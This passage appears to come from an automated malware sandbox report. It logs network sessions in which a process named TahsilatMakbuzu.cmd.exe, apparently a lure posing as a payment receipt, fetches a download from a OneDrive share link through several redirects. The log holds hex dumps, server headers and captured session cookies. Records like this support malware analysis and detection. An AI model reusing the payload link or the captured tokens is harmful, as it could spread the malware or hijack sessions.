1-4F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF
2024-07-04 18:17:05 UTC	8192	IN	Data Raw: 45 32 41 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 Data Ascii: E2A-E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A
2024-07-04 18:17:05 UTC	8192	IN	Data Raw: 43 34 32 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d Data Ascii: C42955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-
2024-07-04 18:17:05 UTC	8192	IN	Data Raw: 22 3a 74 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 Data Ascii: ":true,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377
2024-07-04 18:17:05 UTC	8192	IN	Data Raw: 37 41 41 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 Data Ascii: 7AA8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	49784	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:06 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:17:06 UTC	594	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: BL6PPF0B4247409 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: zq6hvjUcgUKctUVDH9X9yA.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: A7C70B5A802A4A9D9BC949959033D4E1 Ref B: EWR311000101019 Ref C: 2024-07-04T18:17:06Z Date: Thu, 04 Jul 2024 18:17:06 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49785	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:07 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:17:08 UTC	2223	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:+Hucg1Wc3Ig=:d8LSr5qHWlK955v/X+Lw1iRV4LKqvDj3fOb77XpKwyE=:F; domain=.live.com; path=/ Set-Cookie: xid=84406759-3e5b-4f4a-b1bc-33d54cdf66fb&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:37:07 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODI3LCJuYmYiOjE3MjAxMTcwMjcsImdpdmVuX25hbWUiOiIyMCIsImZhbWlseV9uYW1lIjoiU3RpbmdyYXkiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiI3NjFiODBlNzRlMjEzMjA3OTIxMDVhMGVlZDVkZjJmMyIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDI3fQ.bU3n6qi-R0etF7LvfzjEJ1DG1aaiZNKpig-Pxk5Xmko8SqLJ_pAjCn6rWGDsWjWNoUGAjEuQlPGbBN-Gnua_X1IsnJufamdvD_V4UjajoGAvB6fF3fsf7V1V5EGSYrW7QDGih0BWxQaQwkivwrNDbp0oJssWacDuEIsR24qnzr9sLkmOMxADBziKP3xlUNOmTIblLWl8x64KEyK9QTJXXT5TaBJhiNNH4_sPRRIGeUKsuWg3hFjp_IDdlcbZz4fQgecWsStbIz4v71J2QktoNluq7h2MLs0cZWlrdXhWU0A5kRFhmdgVC4ncO3sihZQOLY97wz7MVeCcDEzk3snaHw; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:17:08 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 798f966fd6-8kfpv X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 80F922D8250A493FB044E039C6BEBE74 Ref B: BN3EDGE1107 Ref C: 2024-07-04T18:17:07Z Date: Thu, 04 Jul 2024 18:17:07 GMT Connection: close
2024-07-04 18:17:08 UTC	139	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116
2024-07-04 18:17:08 UTC	172	IN	Data Raw: 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d 70 3b 63 69 64 3d 62 66 32 62 37 63 30 38 33 38 62 35 65 31 62 64 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: &redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd">here</a>.</h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	49786	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:08 UTC	1291	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODI3LCJuYmYiOjE3MjAxMTcwMjcsImdpdmVuX25hbWUiOiIyMCIsImZhbWlseV9uYW1lIjoiU3RpbmdyYXkiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiI3NjFiODBlNzRlMjEzMjA3OTIxMDVhMGVlZDVkZjJmMyIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDI3fQ.bU3n6qi-R0etF7LvfzjEJ1DG1aaiZNKpig-Pxk5Xmko8SqLJ_pAjCn6rWGDsWjWNoUGAjEuQlPGbBN-Gnua_X1IsnJufamdvD_V4UjajoGAvB6fF3fsf7V1V5EGSYrW7QDGih0BWxQaQwkivwrNDbp0oJssWacDuEIsR24qnzr9sLkmOMxADBziKP3xlUNOmTIblLWl8x64KEyK9QTJXXT5TaBJhiNNH4_sPRRIGeUKsuWg3hFjp_IDdlcbZz4fQgecWsStbIz4v71J2QktoNluq7h2MLs0cZWlrdXhWU0A5kRFhmdgVC4ncO3sihZQOLY97wz7MVeCcDEzk3snaHw; E=P:+Hucg1Wc3Ig=:d8LSr5qHWlK955v/X+Lw1iRV4LKqvDj3fOb77XpKwyE=:F; xid=84406759-3e5b-4f4a-b1bc-33d54c [TRUNCATED]
2024-07-04 18:17:09 UTC	1921	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205869 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,50,0,26551,17 X-SharePointHealthScore: 0 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 3c1239a1-400d-5000-d166-0c7029a1ada3 request-id: 3c1239a1-400d-5000-d166-0c7029a1ada3 MS-CV: oTkSPA1AAFDRZgxwKaGtow.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 46 SPIisLatency: 3 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25019 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 2EE0746FD8DD4C19B5F98C782C600A78 Ref B: BN3EDGE0512 Ref C: 2024-07-04T18:17:09Z Date: Thu, 04 Jul 2024 18:17:08 GMT Connection: close
2024-07-04 18:17:09 UTC	2245	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:17:09 UTC	8192	IN	Data Raw: 35 32 30 30 36 34 2c 32 38 31 34 36 32 38 2c 31 38 37 39 38 33 34 36 39 32 2c 33 36 39 31 31 35 35 30 36 2c 38 30 39 31 31 31 37 34 34 2c 2d 35 31 30 33 38 39 37 35 33 2c 2d 31 30 37 33 37 34 30 37 39 39 2c 31 30 37 30 38 30 34 31 2c 38 37 31 38 33 37 31 2c 39 35 37 31 35 38 34 34 2c 36 36 37 31 36 30 33 38 2c 32 37 32 36 34 33 35 38 34 2c 31 30 37 37 33 37 39 35 38 34 2c 31 38 38 30 36 32 31 30 38 32 2c 31 30 37 36 38 39 31 39 30 34 2c 31 30 37 33 37 34 31 39 30 34 2c 33 37 31 32 33 30 37 32 31 2c 31 33 35 35 32 38 37 32 30 2c 31 33 35 31 38 30 38 2c 34 31 31 31 30 37 33 32 38 2c 33 33 33 33 37 37 39 36 35 2c 31 38 34 35 30 30 39 34 36 37 2c 31 36 30 35 31 39 30 35 35 31 2c 39 34 30 35 37 34 38 38 31 2c 32 31 33 35 30 37 32 36 31 2c 31 36 36 39 34 36 34 Data Ascii: 520064,2814628,1879834692,369115506,809111744,-510389753,-1073740799,10708041,8718371,95715844,66716038,272643584,1077379584,1880621082,1076891904,1073741904,371230721,135528720,1351808,411107328,333377965,1845009467,1605190551,940574881,213507261,1669464
2024-07-04 18:17:09 UTC	4144	IN	Data Raw: 74 72 75 65 2c 22 30 36 32 33 32 38 36 37 2d 41 44 42 32 2d 34 34 41 37 2d 38 37 33 31 2d 37 33 34 44 39 41 45 36 46 32 35 45 22 3a 74 72 75 65 2c 22 30 31 34 30 34 39 35 42 2d 36 45 42 46 2d 34 37 44 34 2d 39 33 32 42 2d 32 30 44 41 45 34 36 32 46 42 38 32 22 3a 74 72 75 65 2c 22 30 41 35 38 31 39 31 43 2d 43 30 37 31 2d 34 31 36 34 2d 41 33 39 43 2d 33 35 43 44 43 46 31 38 32 45 42 34 22 3a 74 72 75 65 2c 22 46 38 33 42 33 35 35 43 2d 45 30 32 31 2d 34 44 33 36 2d 41 42 39 32 2d 42 38 30 31 44 30 33 44 41 32 41 33 22 3a 74 72 75 65 2c 22 35 35 30 41 35 42 43 38 2d 30 45 33 37 2d 34 43 31 41 2d 41 41 42 38 2d 42 37 43 41 35 45 38 42 42 38 30 30 22 3a 74 72 75 65 2c 22 37 36 41 32 43 45 45 35 2d 31 33 34 33 2d 34 36 39 42 2d 42 32 44 36 2d 37 37 43 46 34 Data Ascii: true,"06232867-ADB2-44A7-8731-734D9AE6F25E":true,"0140495B-6EBF-47D4-932B-20DAE462FB82":true,"0A58191C-C071-4164-A39C-35CDCF182EB4":true,"F83B355C-E021-4D36-AB92-B801D03DA2A3":true,"550A5BC8-0E37-4C1A-AAB8-B7CA5E8BB800":true,"76A2CEE5-1343-469B-B2D6-77CF4
2024-07-04 18:17:09 UTC	8192	IN	Data Raw: 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 33 31 22 Data Ascii: 8EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD267831"
2024-07-04 18:17:09 UTC	8192	IN	Data Raw: 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 2c 22 43 Data Ascii: 135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true,"C
2024-07-04 18:17:09 UTC	8192	IN	Data Raw: 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 41 31 2d Data Ascii: -802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF443A1-
2024-07-04 18:17:09 UTC	8192	IN	Data Raw: 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 2d 34 41 41 Data Ascii: E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E-4AA
2024-07-04 18:17:09 UTC	8192	IN	Data Raw: 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 34 32 2d 36 Data Ascii: 